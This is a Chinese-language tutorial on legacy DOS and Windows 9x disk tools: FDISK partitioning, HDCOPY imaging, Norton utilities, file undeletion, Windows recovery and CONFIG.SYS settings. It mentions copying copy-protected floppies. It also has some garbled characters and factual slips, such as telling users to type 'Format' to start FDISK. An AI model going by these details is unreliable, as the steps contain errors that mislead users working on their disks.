    3)这时软件会问你是否支持FAT32,回答\"Y\"就可以建立FAT32分区,回答\"N\"则会使用FAT16,决定以后按回车。
    4)出现FDISK的主菜单,要建立分区请选择\"1\"再回车。
    5)建立主分区(Primary Partition),选择\"1\"后回车。
    6)这时系统会询问你是否使用最大的可用空间作为主分区,如果回答\"Y\",那么软件就会将所有的磁盘空间划分成一个分区,回答\"N\"则可以划分多个分区,对于现在的硬盘来说,一般都比较大,如果划分成一个分区就不太好管理,因此可以选择输入\"N\"来分成多个分区。
    7)软件会提示你输入主分区的大小,输入后回车。
    8)完成后按ESC键回到主菜单。
    9)对于一个硬盘,必须设置一个活动分区后才可以引导操作系统,所以我们需要进入\"2\"项。
    10)这是会提示用户输入活动分区的号码,由于只有一个分区,就输入\"1\"。 完后会在状态栏中显示一个\"A\",表示此分区为活动分区。
    11)一个硬盘只能有一个主分区,因此如果现在要划分剩下的硬盘空间就必须建立扩展分区,回到主菜单后选择\"2\"。
    12)程序会提示用户输入扩展分区的大小。
    13)扩展分区建立完成后,会显示主分区和扩展分区的相关资料,按ESC键。 
    14)这时会提示没有逻辑盘的信息,你可以将整个扩展分区划分成一个逻辑盘,或者分成几个逻辑盘。现在可以输入第一个逻辑盘的大小,然后回车。
    15)这时会显示第一个逻辑盘的相关信息,并且要求你输入第2个逻辑盘的大小。
    16)完成后即可按ESC键退回到主菜单。
    17)这时在按ESC退出FDISK再重新启动,就可以对分区进行格式化了。
    如果是对已经分好区的硬盘进行重新分区,那么在主菜单时就必须先进入第三项将分区删除后才能进行。
    img工具的使用
      主要作用是在内存中开辟一块地方,建立虚拟的软盘驱动器,并将所有对于该软驱的操作映射到该内存区域.具体操作步骤如下:
      1)启动img文件
      2)按下ctrl+alt+s+d+x即可激活该软件
      3)在filename区输入要安装的文件完整的文件名,如:c:\\dos\\1.img
      4)移动到drive区后可以选择\"A B O\"三个要建立的虚拟盘符
      5)?format区可以选择hdcopya-b以及diskdupe格式中的一个,如果不知道以前使用的格式,可以通过多次试验来取得.
      6)?移动到read区敲回车,若显示message \"file c:\\dos\\1.img error\"则是文件不存在或者是format区文件格式不对,可以重新到format 区选择.
      7)正确读入后,使用dir a(b 或o):,就可以查看虚拟盘中的文件
      8)按下Esc键退出,转到虚拟盘,允许安装程序或进行其它操作.
      9)若有多张盘需要安装,在收到须插入第二盘的提示时,重复2)的操作,重新读取数据,继续安装工作,直到完成.
     注意:
      1)?有时可能存在文件格式上的错误,导致不能读取数据,这时可先退出,重新激活img工具,换一种格式再读.
      2)输入映象文件时需要输入完整的文件名(包括路径)
      3)安装完成后,为了消除虚拟盘带来的影响,可以重新启动.
      4)使用这种方法,只能完成一些dos下的程序的安装.
     hdcopy的使用
      主要完成软盘间的快速复制以及将软盘的内容建立映象保存到硬盘,还可以将硬盘的映象内容重新读取到软盘上,还有将软盘格式化为不同的容量的功能,如果结合img的使用,则更加方便.
     1)在options menu中进行设置的改变
      soure(destination) drive 改变源(目标)盘盘符(仅对于有2个驱动器)
      auto verifyn/off 在进行读写操作及格式化时是否自动效验数据.
      fat selectionn/off 拷贝时是否仅对有数据区域进行读操作, 为on时读全盘.
      format destinatin:auto/on/off 写盘时(自动/是/不)对目标盘进行格式化.
      password protectedn/off 对于保存到硬盘的映象文件是否加口令保护.
      verbose moden/off是否开启在出现错误时进行多次效验的功能.
      head settle timen/off 是否等待磁头的调整
      user mode:safe/prof/expert 读数据时使用安全/保护/冒险模式。冒险模式时,计算机自动检测驱动器,并进行读写操作,要求熟练掌握操作.冒险模式等同于专家模式.
     注意:1)若A B 两驱动器容量不同时,要求源盘容量大于目标盘.
      2)使用put to file 功能可以将读在内存中文件保存到硬盘中.对于有加密点的磁盘,它也可以读出来,并长期保存或复制.
      3)使用get from file 功能可将硬盘中保存的文件读到内存中,再写到软盘.
      4)格式化磁盘时,使用不同的格式时应注意在另外的驱动器读取可能有困难.可以将坏盘格式化成低容量,以便修复诸如零道损坏等问题.
      5)对于1.7@ 1.7m及2.0版,虽然界面有所不同,但基本内容一致,2.0版中的\"+\"相当于on,\"-\"相当于\"off\",\"*\"相当于自动方式.
     diskfix 工具
      用作修复文件分配表,引导扇区及目录扇区发生错误的软盘或硬盘.命令行参数:
      /test 只作测试,不作修复工作
      /scan 完成测试并进行修复工作
      /ro:filename 完成测试工作,并报告于filename文件中(覆盖该文件)
      /ra:filename 同上,只是追加到文件尾.
      /hcache 或hcard 如有硬盘卡,则选该项
      注意:作diskfix工作之前,应将驻留内存的程序退出.
      repaire disk选项 修复由于文件分配表,引导扇区及目录区错误等而引起的磁盘异常,进入后会让你对驱动器进行选择,它会自动完成以上各项的检测工作,并自动进行修复. comparion(对比) description(描述) destructor(结构)surface scan选项 自动进行表面媒体测试,检测不安全隐患,并将数据移动到安全区域,它会有一个测试次数的选项,可进行 多达80次的测试,这一过程需要很长时间. preventive(防止) maintenance(维护) read write only 模拟media (媒体) defect(欠缺,不安全) perform (执行) destructive(有害的)revitabize(复兴)选项 除完成surface scan 以外,在不对磁盘数据进行破坏的前提下,完成一边格式化,并尽可能修复损坏的数据. optimum(适宜的)undo a diskfix repair 选项 在进行磁盘repaire时,可以保存一些信息,以便由于diskfix工作而造成了问题,可以使用该选项进行复原工作.
     configure 配置
      1)test paration table 测试分区信息.
      2)check boot sector for virus 测试根扇区中是否有病毒
      3)look for mirror 寻找映象文件
      4)use bios surface scan 使用bios 进行表面测试
      5)use custom error message 使用当前的错误提示信息
     diskfix的应用
     1)对于由于分区表,引导扇区错误而造成的损坏,表现为:
      主分区盘不能启动,显示\"cann\'t load file \"或\"Invalid drive specition\"
      其他分区\"D\"显示\"Invalid drive spection \"或\"Not ready drive D:Abort,Retry,Fail\"
      方法:首先使用软盘启动
      (1)使用输入diskfix c:,选择其中的repair a disk ,然后对于其它的所有问题均回答\"Y\",修复时,diskfix会自动修复损坏的硬盘.
      (2)可以使用norton工具包中的磁盘医生\"NDD\"来修复,启动NDD后进入选项中,对\"修理设定\"项选择\"自动修理\",然后选择\"诊断磁盘\"一项,对\"C\"进行操作即可.
      (3)若软盘启动后,不能进入\"C:\",应首选\"diskfix c:\"硬盘不能启动有多方面的原因,对于由于系统文件损坏而造成的启动困难,可以软盘启动后,用\"sys c:\"来传送系统文件就可以了.但对于\"win95\",则应使用win95应急盘启动,传递成功后,应查看根目录下是否存在\"io.dos msdos.dos command.dos\"三个文件,若不存在,则应使用dos启动盘,拷贝一份到根目录区,否则以前的dos版本将启动困难.须注意的是,制作启动盘应与机器原来的系统文件版本号相同.
     2)对于由于误删除而造成的问题
      (1)dos下可以使用undelete 命令恢复,或者使用pctool工具恢复删除.
      (2)win95删除的文件,可先在\"回收站\"中查找,若\"回收站\"属性设置为直接清空,还可以到被删除文件所在的目录下运行undelete命令恢复.
     磁盘编辑器 diskedit的使用
      它可以挽救因为磁盘0道损坏而造成的文件的读写困难.
      方法:将一块好的磁盘插入驱动器,启动diskedit,来读盘的内容,然后取出好盘换上受损盘,继续读操作,由于仅仅0道损坏,而其它磁道内容完好,因而可以读出数据,记下相应的起止扇区号,利用工具中的写对象命令,将相应的扇区号写入硬盘中去,退出编辑,调用相应的文件即可.(若出现读错误,可以kip,igrone)
    这种方法对于根目录损坏的磁盘,恢复的可能性狠小.同时可以通过查找特定的字符,可以快速判断要找的文件的位置.
     diskmon 它可以监视磁盘的任何动作,防止意外发生.
      1)磁盘保护,它可以通过对系统区域,文件区,或者全部磁盘区实行写保护,对于个别类型文件,也可以单独设置,如让某种类型文件受到特殊保护,通过设置,就不能存取某种类型的文件.
      2)磁盘读写灯设置,设置它可以识别网络磁盘,在发生存取盘的操作时,屏显磁盘
    号.
      3)磁盘挂起,相当于dos中的park 命令,将磁头放置安全区域.
     filefind/ts
      可以在整个磁盘区域,当前目录,当前目录及子目录下,查找某类或某个文件,还可以查找某几个字符,以达到匹配的目的.它能够在同一文件中多次查找并显示匹配的字串,这在查找多个文件时有用.由于其中有多中设置,它可以在某个时间段,某大小甚至可以在网络驱动器上进行工作,还具有对某类型文件查找的功能.查找时可以输入汉字.如果加上/ts命令则速度更快,它具有1)查找字串 2)查找相应文件功能
     filefix 可以对某种文件进行修复.
      文件由于各种原因,造成损坏,可以使用它来进行最大限度的恢复.
     unerase 可以通过子目录以及对驱动器的选择来恢复被删除文件.
      它可以将所有被删除文件例表,来显示所有可恢复的文件的详细资料,同时提供选择的权力,?可以有针对性的恢复.可以将恢复的文件直接存盘到另外的子目录 乃至另外的驱动器中.注意:
      1)它提供对网络上删除的文件进行浏览功能,但不能进行恢复.网络上删除的文件可以用salvage中提供的功能恢复.
      2)在预测栏中sub_dir为子目录,\"好\"\"困难\"\"平均\"标记了几种要恢复文件的难易程度.利用它可以恢复子目录.
      3)对于使用rd 及deletree删除的子目录,只要保证没有往盘中追加数据,都可以完全恢复文件.
      4)使用时,可以使用空格或\"+\"号,来选择要恢复的文件,直接将光标移动到要恢复的文件上,按\"U\"键进行恢复,然后输入一个字母,作为文件名的首字母,要确保不存在相同的文件名.
      5)对于删除的子目录,可以直接进入,继续进行文件的恢复工作.相比之下,unerase比pctool及undelete操作简单,功能强大.在文件信息一栏中,显示文件编辑的最后日期,字节数,文件属性以及是否能正确恢复,有时提示\"将不包括正确数?quot;,但经过测试,对大多数标记为\"好\"的文件,均可以正常恢复,还可通过选择进行批量恢复.
     wipeinfo 快速擦写,使用它擦写后的文件无法恢复.
      使用undelete,unerase及pctools工具,对于它也无济于事,它可以对整个驱动器,某个子目录,子目录中的每个文件进行操作,操作前有警告,须慎用.
     norton工具中的unformat 将恢复因意外格式化而造成数据丢失的软/硬盘,也可修复受其它原因破坏的磁盘.对于由于引导信息丢失,分区表损坏而无法进入的磁盘无效(应使用diskfix,diskedit等修复).
      对于刚使用format格式过的磁盘,如:format a:/q时,可使用dos下的unformat可以恢复.
      使用norton中的unformat命令,则更加直观,它扫描磁盘中的每个扇区,并对每块可用数据进行标记,经过大约5分钟(对软盘),可以对全盘的可恢复文件有全面的标志.
      在相应的子目录dir0,dir1之下,??可以找到一些较完整的文件,比dos下的unformat要准确可靠.
      可直接用unformat a:,对于子目录下存在的子目录中的文件,不能确保全部恢复.
      如果使用了format a:命令不加参数,则不能恢复.
      实验表明:在对使用format a:/q不加/u参数的盘反格式化时,dos下unformat的性能优于norton下的unformat,但若用作过norton中的image则另当别论.在对使用format a:/q/u格式化过的盘进行反格式时,dos下的unformat与norton基本一样.
      在无任何参数下格式化的磁盘,dos下的unformat也能恢复.
      评论:dos下的unformat 速度较快,但必须有完整的影象文件,当磁盘中要恢复的
      文件很多时,norton中的unformat性能要优于dos下的unformat.
     speeddisk的工作
      功能:1)优化磁盘的可利用空间,并移动到磁盘尾部
      2)合并文件的存放碎片,并加以消除.
      运行时不能中途掉电,但可以通过esc来终止,不能有内存驻留程序的活动.
     可供选择的策略:
      1)除目录和文件分配表外全部优化
      2)全部优化,包括目录,目录优于文件,
      3)全部优化,并将文件排序.
      4)取消文件碎片.
      5)取消各种空间碎片,有利于进行大文件安装.
    用FDISK进行硬盘分区
    分区从实质上说就是对硬盘的一种格式化。当我们创建分区时,就已经设置好了硬盘的各项物理参数,指定了硬盘主引导记录(即MasterBootRecord,一般简称为MBR)和引导记录备份的存放位置。而对于文件系统以及其他操作系统管理硬盘所需要的信息则是通过之后的高级格式化,即Format命令来实现。用一个形象的比喻,分区就好比在一张白纸上画一个大方框。而格式化好比在方框里打上格子。安装各种软件就好比在格子里写上字。可以看得出来,分区和格式化就相当于为安装软件打基础,实际上它们为电脑在硬盘上存储数据起到标记定位的作用。进行硬盘分区,我们最常用的软件是FDISK.com。下面,我们就FDISK的一些功能和使用做一番比较详尽地介绍:
    我们以Win 95为例(Win 98和95大致上基本一致),用启动盘启动计算机,在A盘根目录下输入\"Format\";屏幕上出现信息问你是否要启用FAT32支持,回答\"Y\"会建立FAT32分区,回答\"N\"则会使用FAT16,决定以后按Enter键。大家要记住一点,早期的WIN95及DOS并不能识别FAT32结构。如果你想要安装此类系统的话,还是选择FAT16为好。但选择FAT16后,每个分区不能大于2GB。在这里,我们选择FAT16。
    这时候,屏幕上将会显示以下4个选项
    1. 建立DOS分区或逻辑分区
    2. 设置活动分区
    3. 删除分区或逻辑分区
    4. 显示分区信息
    5. 如果你安装有不止一块硬盘,系统还会出现有第5项(Change current fixed disk drive)。
    建立主分区
    这里,缺省的选项是\"1\"。如果你的硬盘还没有建立过分区的话,直接按ENTER键即可。然后,在所示对话框中选择\"建立主分区(Primary Partition)\",选择\"1\"再按下Enter键。这时,系统会询问你是否使用最大的可用空间作为主分区,缺省的回答是\"Y\",你只要直接按下Enter键即可。当然,当程序问你是否要使用最大的可用空间作为主分区时,你也可以回答\"N\"然后按Enter键。这时,系统会要求你输入主分区的大小,输入以后按Enter键。这时,系统将会自动为主分区分配逻辑盘符\"C\"。然后屏幕将提示主分区已建立并显示主分区容量和所占硬盘全部容量的比例,此后按\"Esc\"返回FDISK主菜单。
    建立扩展分区
    在FDISK主菜单中继续选择\"1\"进入 \"建立分区菜单\" 后再选择\"2\"建立扩展分区,屏幕将提示当前硬盘可建为扩展分区的全部容量。此时我们如果不需要为其它操作系统(如NT、LINUX等)预留分区,那么建议使用系统给出的全部硬盘空间,此时可以直接回车建立扩展分区,然后屏幕将显示已经建立的扩展分区容量。
    设置逻辑盘数量和容量
    扩展分区建立后,系统提示用户还没有建立逻辑驱动器,此时按\"Esc\"键开始设置逻辑盘,提示用户可以建为逻辑盘的全部硬盘空间,用户可以根据硬盘容量和自己的需要来设定逻辑盘数量和各逻辑盘容量。设置完成后,此时屏幕将会显示用户所建立的逻辑盘数量和容量,然后返回FDISK主菜单。
    激活硬盘主分区
    在硬盘上同时建有主分区和扩展分区时,必须进行主分区激活,否则以后硬盘无法引导系统。在FDISK主菜单上选择\"2\"(Set active partition),此时屏幕将显示主硬盘上所有分区供用户进行选择,我们的主盘上只有主分区\"1\"和扩展分区\"2\",当然我们选择主分区\"1\"进行激活,然后退回FDISK主菜单。
    一切结束以后,退出FDISK程序。继续按\"Esc\"键退出至屏幕提示用户必须重新启动系统,必须重新启动系统,然后才能继续对所建立的所有逻辑盘进行格式化(Format)操作。
    注意事项:在建立分区时,以下几点是值得您注意:
    1.主分区和逻辑分区
    主分区的特性是在任何时刻只能有一个是活动的,当一个主分区被激活以后,同一硬盘上的其他主分区就不能再被访问。所以一个主分区中的操作系统不能再访问同一物理硬盘上其他主分区上的文件。而逻辑分区并不属于某个操作系统,只要它的文件系统与启动的操作系统兼容,则该操作系统就能访问它。
    主分区和逻辑分区的一个重要区别是:每个逻辑分区分配唯一的驱动器名(盘符),而在同一硬盘上的所有主分区共享同一个驱动器名,因为某一时刻只能有一个主分区是活动的。这就意味着某一时刻只能用共享驱动器名访问活动的那个主分区。系统支持多达24个逻辑分区,这样,可能有许多人都会有这样一个错误的认识,那就是在对硬盘进行分区时最好多创建几个逻辑分区,这样可以避免出现问题的分区影响到保存在其他分区中的数据。但是事实往往并非如此,一个被损坏的分区往往会导致整个硬盘无法正常使用。我们已经在前面提到过主分区和扩展分区的信息都是被保存在MBR中,如果由于某种原因使MBR受到破坏,硬盘主分区将无法使用,进而使包含操作系统的启动盘也无法使用。
    是也许有人会认为逻辑分区的信息并不保存在MBR中,因此逻辑分区并不会受到任何影响。其实我们忽略了这样一个事实,那就是虽然逻辑分区的信息保存在扩展分区内,但是扩展分区的信息却是被保存在MBR中。这样,通过相互之间的作用,使逻辑分区最终也不能免受影响。不过一般情况下,一个分区受到损坏而其他分区仍然可以正常工作。例如,如果一个逻辑分区出现问题,很多时候其他的逻辑分区以及主分区和扩展分区都不会受到任何影响。但是话又说回来,出现问题的分区往往就是那些使用最频繁的分区,也就是MBR。
    2.驱动器名的分配
      启动系统时,活动分区上的操作系统将执行一个称为驱动器映像的过程,它给主分区和逻辑分区分配驱动器名。所有的主分区首先被映像,而逻辑分区用后续的字母指定。一般来说,主分区将被定义为C,然后,系统会根据逻辑分区的多少依次给出D,E。。。。直到Z。当然,如果你有不两块硬盘的话,情况又会发生一些变化。我们举例说明,我们将每块硬盘都分为两个区,第一个硬盘的第一分区为主分区(盘符C),则第二个硬盘的第一分区为D,第一个硬盘的第二分区为E,第二个硬盘的第二分区为F。
    3.容量的分配
    要分割成几个分区以及第一个分区所占有的容量,取决于使用者自己的想法,有些人喜欢将整个硬盘规划单一分区,有些人则认为分割成几个分区比较利于管理。例如,分割成两个分区,一个储存操作系统文件,另一个储存应用程序文件;或者一个储存操作系统和应用程序档案,另一个储存个人和备份的资料。至于分区所使用的文件系统,则取决于你要安装的操作系统。一般来说,主分区由于经常会进行数据 的交换,因此容量不宜太小。其他的分区的大小分配则完全取决于个人喜好了。
    分区建立完了,接下去,我们应该查看一下具体的分区内容,做到心中有数。在FDISK主界面上,按\"4\",回车。 A区显示了当前的分区情况,B区显示了硬盘的总容量,C区则进一步询问你是否要显示详细的逻辑分区情况。
    我们一部分一部分的来分析。在分区信息中:
    ①第一行是当前的硬盘号,因为只有一个硬盘,所以硬盘号为1。下面几行是分区信息。
    ②第一栏是当前分区,有1,2两部分,分别表示基本分区和扩展分区。
    ③第二栏是状态。A表示是活动分区。
    ④第三栏是分区类型,C为PRI DOS,即基本分区,下面这个是EXT DOS 即扩展分区。
    ⑤第四栏是硬盘卷标,它就好像我们给每个分区起的名字。
    ⑥第五栏是分区的大小,用多少兆字节(Mbytes)来表示。
    ⑦第六栏是系统文件分配表类型,显示FAT16。
    ⑧最后一栏是基本和扩展分区占总容量的比例。
    接下来我们再来看B区中的硬盘的容量,图16中表示\"硬盘的总容量为4126M\",即通常我们所说的4.3G的硬盘。
    这时候,系统会询问是否查看扩展DOS分区的信息,选\"Y\"则进入下一项。
    因为只有一个扩展分区,所以只有D、E盘的信息显示出来,虽然现在扩展分区分成了两个逻辑分区,但我们只能将逻辑分区叫做D、E盘,而不能称这个扩展分区为D、E盘。这里显示按ESC键继续。
    至此,分区的建立算是完成了。如果你对现行的分区不满意,你可以将分区删除后重新来。在建立分区时,我们遵循的步骤是: 建立基本分区-> 建立扩展分区à 分成一个或几个逻辑分区;而我们在删除分区时则需要遵循以下原则: 删除逻辑分区-> 删除扩展分区-> 删除基本分区
    分区的删除
    删除逻辑分区,进入FDISK主界面。选择3,回车。选择了删除分区选择后,又出现下一级子菜单,包括如下内容:
    1、删除主DOS分区。
    2、删除扩展DOS分区。
    3、删除扩展分区中的逻辑分区。
    4、删除非DOS分区。
    关于删除分区的顺序,我们在上文中已经提到过,这里就不再重复了。需要补充的是,如果你的硬盘上有非DOS的分区,则应先将它删除,再删除逻辑分区。 这里,我们直接从删除逻辑分区开始。选择\"3\"按下回车。下面就开始删除了!系统会用一个不断闪动的\"WARNING!\"提出警告,同时提示你输入要删除的逻辑分区号。输入E,再回车。
    这时候,系统提示输入E分区的卷标号,按屏幕上方的显示输入卷标。  
    如果没有,就直接回车跳过。系统会再提示确认,输入Y回车,E分区就被删除了。同样我们删除D分区,接着系统提示扩展分区中所有逻辑区均被删除。
    删除完了逻辑分区,我们再回到主界面,删除完逻辑分区后就要删除扩展分区了,这时还要选择3;这时进入删除界面。然后选2,\"删除扩展DOS分区\"。
    按提示输入\"Y\",回车。扩展分区就被删除了。删除后所示。
    删除完扩展分区后就要删除基本DOS分区了,按ESC返回。选第1项\"删除基本DOS分区\"。
    与其他分区的操作步骤一样,还要输入卷标、输入\"Y\"确认后回车,基本分区就被删除了。到这里,删除分区的工作就完成了。
    删除完成后,我们再次查看分区的情况,屏幕会显示当前硬盘还没有分区。
    现在,硬盘又恢复到初始的状态下了。如果你对上次的硬盘分区不满意,现在又可以重新开始了,不过,还应该多思考思考,成熟了再动手呦:)
    DOS解决问题实战
    看了前面的文章,相信大家对DOS的基础操作以有了一个较深的印象了吧。但光掌握以上的这些内容是远远不够的,解决电脑问题,最主要的还是能够将学到的死知识转化为自己可以熟练使用的兵器。当然,这也不是一朝一夕就可以达到的,同时也要靠经验的积累。下面就请大家随我一道来看几个实例,从中找出解决问题的关键和主要的思路。
    故障事例:
    某电脑在使用时突然停电,来电后开启电脑,但Windows系统无法正常启动,死机频繁。
    故障分析
    从这个原因,我们可以大致推断:停电造成电脑非法关机而损伤磁盘文件,从而导致Windows系统受到损坏,无法正常运行。
    大致操作:
    从解决文件损坏这个角度出发,需要修复损坏的文件,如果损坏严重,也可以考虑重装Windows。
    具体操作
    1、进入DOS。由于Windows受损,只有在DOS下进行操作。在系统引导、出现\"Starting Windows.....\"的时候按下\"F8\"键,然后再选择\"Command Prompt Only\"即可进入DOS方式。为了使修复速度更快,我们可以运行Windows目录下的\"SMARTDRV.EXE\"程序,这是一个加速磁盘读取速度的缓存程序。
    2、运行SCANDISK程序,必要时可以加上\"/autofix\"参数,这样在第一次选择后就可让程序自动修复。
    3、运行CHKDSK程序,查看是否还存在着问题,并可以使用\"/F\"进行修复。
    4、运行Windows,看系统是否恢复正常。如果在启动时提示注册表出错,可以重新进入DOS,在Windows目录下运行\"SCANREG /RESTORE\",然后在列表中选择一个好的注册表文件就行了。
    5、如果文件系统受损严重,就需要重新安装Windows。
    如果无法正常进入Windows,那需要重新安装Windows的任务又只得在DOS下进行了。对于广大初学者,在DOS下安装Windows还有一定的困难,下面我就具体讲解一下在DOS下的安装。这里的安装使用光盘启动,若使用软盘启动其操作大致相同。
    1、在开机进行自检时按下\"DEL\"键从而进入BIOS设置,在\"BIOS FEATURES SETUP\"的\"Boot Sequence\"将\"CDROM\"一项设置在最前面;按\"ESC\"键退到主画面,按\"F10\"键,并输入\"Y\",即可存盘退出。
    2、在开机前将系统启动盘放入光驱。
    3、在启动后的启动菜单中选择\"启动并使用光驱(With CDROM)\",大家也可以选择启动后自动运行Windows98的安装程序,但那样并不和我意,安装过程将十分漫长,所以在安装前我们需要运行\"SMARTDRV.EXE\"。
    4、进入DOS后就转到光驱盘符,使用\"DIR\"命令查看目录,然后进入Windows的安装目录(目录名大都可以见名知意,一般为\"Win98\"、\"Win\"、\"Windows\"等)。
    5、运行\"SMARTDRV.EXE\"。
    6、运行\"SETUP.EXE\",回车后会进入磁盘扫描,完成后即可进入安装,其操作就和在Windows中安装一样了。
    看完了这两个最常见的问题,你是否有所收获?主要大家将基础的东西掌握后,面对问题不慌不乱,仔细思考分析,能从其它的故障中不断总结经验,你也很快会成为一个电脑高手。另外,多帮助他人解决问题也能使你获得更多的锻炼机会,增加自己的知识面,从而可以积累更多、更好的资本。
    CALL的其他用途
    熟悉dos的人都知道call用来调用.bat文件,但也可调用其他文件如.com,.exe甚至dos内部命令。例如:call dir和call echo hello。
    进入带密码子目录
    如:子目录%S%(%代表怪字符)
    (1)DIR *S*.*>S.BAT;(2)使用字处理软件编辑,删除不需要的内容,并使内容为CD %S%,存盘;(3)执行批处理文件S.BAT,即进入。
    快速删除误拷入硬盘中的文件
    有时软盘中的文件拷入硬盘时,忘记建立新子目录,此时新旧文件混杂,可如此删除新文件:C>FOR %A IN(*.*) DO IF EXIST A: %A DEL %A,建立批处理时,改所有%为%%
    不用查病毒软件检查病毒存在的几种方法
    (1)“MEM/C/P”查看保留内存(RESERRED)为0,则有;为393,216,则无;
    (2)“ARJ I”报告CRC ERROR,则有;OK!,则无;
    增大内存资源配置
    COPY CON: CONFIG.SYS
    DEVICE=C:\\DOS\\HIMEM.SYS
    DOS=HIGH
    DEVICE=C:\\DOS\\EMM386.EXE
    FILES=30
    BUFFERS=15 CTRL+Z存盘
    COFIG.SYS文件配置命令次序
    磁盘有关的设备驱动程序;
    内存储器有关的驱动程序;
    其它硬件的设备驱动程序;如鼠标
    软件有关的设备驱动程序;
    其它配置命令
    append|debug|diskcomp  
    append    设置非执行文件的路径
    [适用场合]  当您无法在多个目录中寻找到自己输入的文稿时,可以试一试这个命令,用法类似path。
    [用  法]  append [路径];[路径]
    [例  子]  C:\\>append c:\\test
    设置寻找非可执行文件路径为c:\\test如果该目录下有文件1.txt时,
    在其它目录下调用1.txt找不到时,可自动寻找到c:\\test目录。
    D:\\UCDOS>edit 1.txt 可找到C:\\test\\1.txt文件
    debug     程序调试命令
    [建  议]  如果你学过汇编语言,那你应该会使用debug,如果没学过,最好别使用
    [用  法]  debug [文件名]
    diskcomp   比较磁盘
    [适用场合]  比较两张盘是否相同,没想到什么时候会用到,在比较用diskcopy拷贝的两张盘,为什么不用diskcopy/v校验呢?
    [用  法]  diskcomp [盘符1] [盘符2] 比较盘1和盘2
     diskcomp /1 只比较磁盘的第一面
    diskcomp /8 只比较没磁道的前8个扇区
    [例  子]  C:\\>diskcomp a: a:
            在同一软驱中比较两张盘
    Insert FIRST diskette in drive A:
            放入第一张盘
    Press any key to continue . . .
            Comparing 80 tracks 18 sectors per track, 2 side(s)   
            Insert SECOND diskette in drive A:
            放入第二张盘
    Press any key to continue . . . Compare OK
            比较未发现不同
            Compare another diskette (Y/N) ?n
            是否比较其它盘,选y继续比较,选n停止
    用CONFIG.SYS做系统配置 
    根据以前的介绍,大家都知道可以在config.sys中可以对系统进行配置,下面我们先学一学基本命令,在第五节将详细介绍一个多种系统配置的例子。
    files=[数字] 表示可同时打开的文件数,一般可选择20到50,如果要拷贝或解压缩大批的小文件(在安装台湾的一些游戏时经常会遇到这种情况,文件数可能有几千),可以把 files的值设为上限值255,这样可以提高拷贝或解压缩的速度。但是要注意,如果把files的值设得过大会占用过多的基本内存。如果不加设定,系统缺省为files=8,该缺省值足以满足多数操作环境的需要。
    有的系统配置文件里可能会出现FCBS=[数字]这条语句,它也是用于确定DOS可同时打开的文件最大数,它与files=[数字]的区别在于打开文件的方式不同。一些旧的应用程序会要求用FCB方式打开多个文件,这样,在config.sys里就要使用FCBS命令。
    buffers=[数字] 表示设置磁盘缓冲区的数目,通常设置为20-30左右。缺省值一般为15。
    磁盘缓冲区是一块内存区,它用于存储从磁盘读入的数据或存储写到磁盘的数据。DOS在读或写一个记录时,先检查包含那个记录的数据块是否已在磁盘缓冲区中,如果不在,就从磁盘上将该数据块读入到磁盘缓冲区中,再将此记录传送给应用程序;如果数据已在磁盘缓冲区中,则不必从磁盘上读入,而是直接把数据传送给应用程序。由于从磁盘上读取数据是相对耗时较多的操作,所以增加磁盘缓冲区可以节省很多读盘的时间。但是要注意,增加磁盘缓冲区是要占用内存的,所以,磁盘缓冲区的数值并不是设得越大越好,最佳的磁盘缓冲区数目要根据用户的机器配1置和通常运行的程序类型来确定。
    device和devicehigh 加载一些内存驻留程序,用于管理设备。比如内存管理程序和光驱驱动程序等。 如: device=c:\\dos\\himem.sys device=c:\\dos\\emm386.exe ram devicehigh=c:\\cdrom\\cdrom.sys
    devicehigh 与device的不同是前者将程序加载入高端内存。
    himem.sys和emm386.exe DOS只能直接使用640K的内存,即基本内存,必须依靠其它内存管理程序来使用更多的内存,这两条命令就是最常用的内存管理程序。
    640K到1M之间的内存叫高端内存,是系统保留使用的;1M以上的内存叫扩展内存;在早期还有一种内存,是要在主机内安装一块内存板的,叫扩充内存,现在已经很少使用。
    himem.sys负责管理扩展内存。
    emm386.exe负责管理高端内存并在扩展内存中模拟扩充内存供某些软件使用。
    为了使用更多的内存,配置文件中应有: device=c:\\dos\\himem.sys device=c:\\dos\\emm386.exe ram
    注意:EMM386.exe要求先安装himem.sys,因而必须确保安装himem.sys的配置命令在emm386.exe之前。
    dos=high,umb 这两个参数也可以分开写成两条语句,即: dos=high
    dos=umb
    应在config.sys中加入这条命令,这样会将DOS的系统文件移入高端内存,空出更多的基本内存给其它软件使用。 注意,如果用户没有安装emm386.exe,umb这个参数是没有实际意义的。
    lastdriver lastdriver规定用户可以访问的最大驱动器符数目,也就是DOS所能识别的最后的驱动器符(字母)。如果设定的驱动器符数目小于本机上的实际驱动器数,则此lastdriver命令会被忽略掉。缺省的最大驱动器符数目为本机的实际驱动器数目加一。
    rem 它和批处理文件中的rem含义相同,即注释。
    一个典型的config.sys文件内容如下:
    DEVICE=C:\\DOS\\HIMEM.SYS
    DEVICE=C:\\DOS\\EMM386.EXE NOEMS
    buffers=15,0
    files=50
    dos=UMB
    lastdrive=Z
    dos=HIGH
    DEVICEHIGH=C:\\DOS\\ATAPI_CD.SYS /D:MSCD000 /I:0
    STACKS=9,256

    setver|share|subst  
    setver     设置版本
    [适用场合]  当希望使用其它版本的dos命令时可以用它来欺骗电脑。在高版本DOS中,某些旧版本程序需要DOS3.3时,可用setver来设置
    [用  法]  使用时一般在config.sys中加入 device=setver.exe
    setver          显示文件的版本
    setver [文件名] n.nn   设置指定文件的版本号
    [例  子]  C:\\DOS>setver
            KERNEL.EXE 5.00
            DOSOAD.SYS 5.00
            EDLIN.EXE 5.00
            BACKUP.EXE 5.00
            ASSIGN.COM 5.00
            EXE2BIN.EXE 5.00
            JOIN.EXE 5.00
            RECOVER.EXE 5.00
            WINWORD.EXE 4.10
            C:\\>
    若程序AAA.exe必须在MS-DOS3.3下执行,则键入
    C:\\DOS>setver aaa.exe 3.30
    又如net5.exe仅在MS-DOS5.0下执行,则在config.sys中加入   
    device=setver.exe后也可在Ms-DOS6.22下运行。
    share    文件共享
    [建  议]  只有在软件声明必须要运行它时才用
    [用  法]  可在config.sys中加入 install=share.exe 也可直接运行参数有 f l
    subst    路径替换
    [建  议]  一个非常有趣的命令,如果经常用光碟软件,可能有用。
    [用  法]  subst           显示当前的替代路径
    subst [盘符] [路径]                    
            将指定的路径替代盘符,该路径将作为驱动器使用
    subst /b         解除替代
    [例  子]  C:\\DOS>subst a: c:\\temp 用c盘temp目录替代a盘
    C:\\>subst a: /d     解除替代
    tree|unformat|vsafe  
    tree     显示命令树结构
    [适用场合]  查看所有的子目录
    [用  法]  tree [盘符]    显示所有的子目录树
    tree /f      显示目录时同时显示文件名
    tree /a      以ASCII码显示目录树
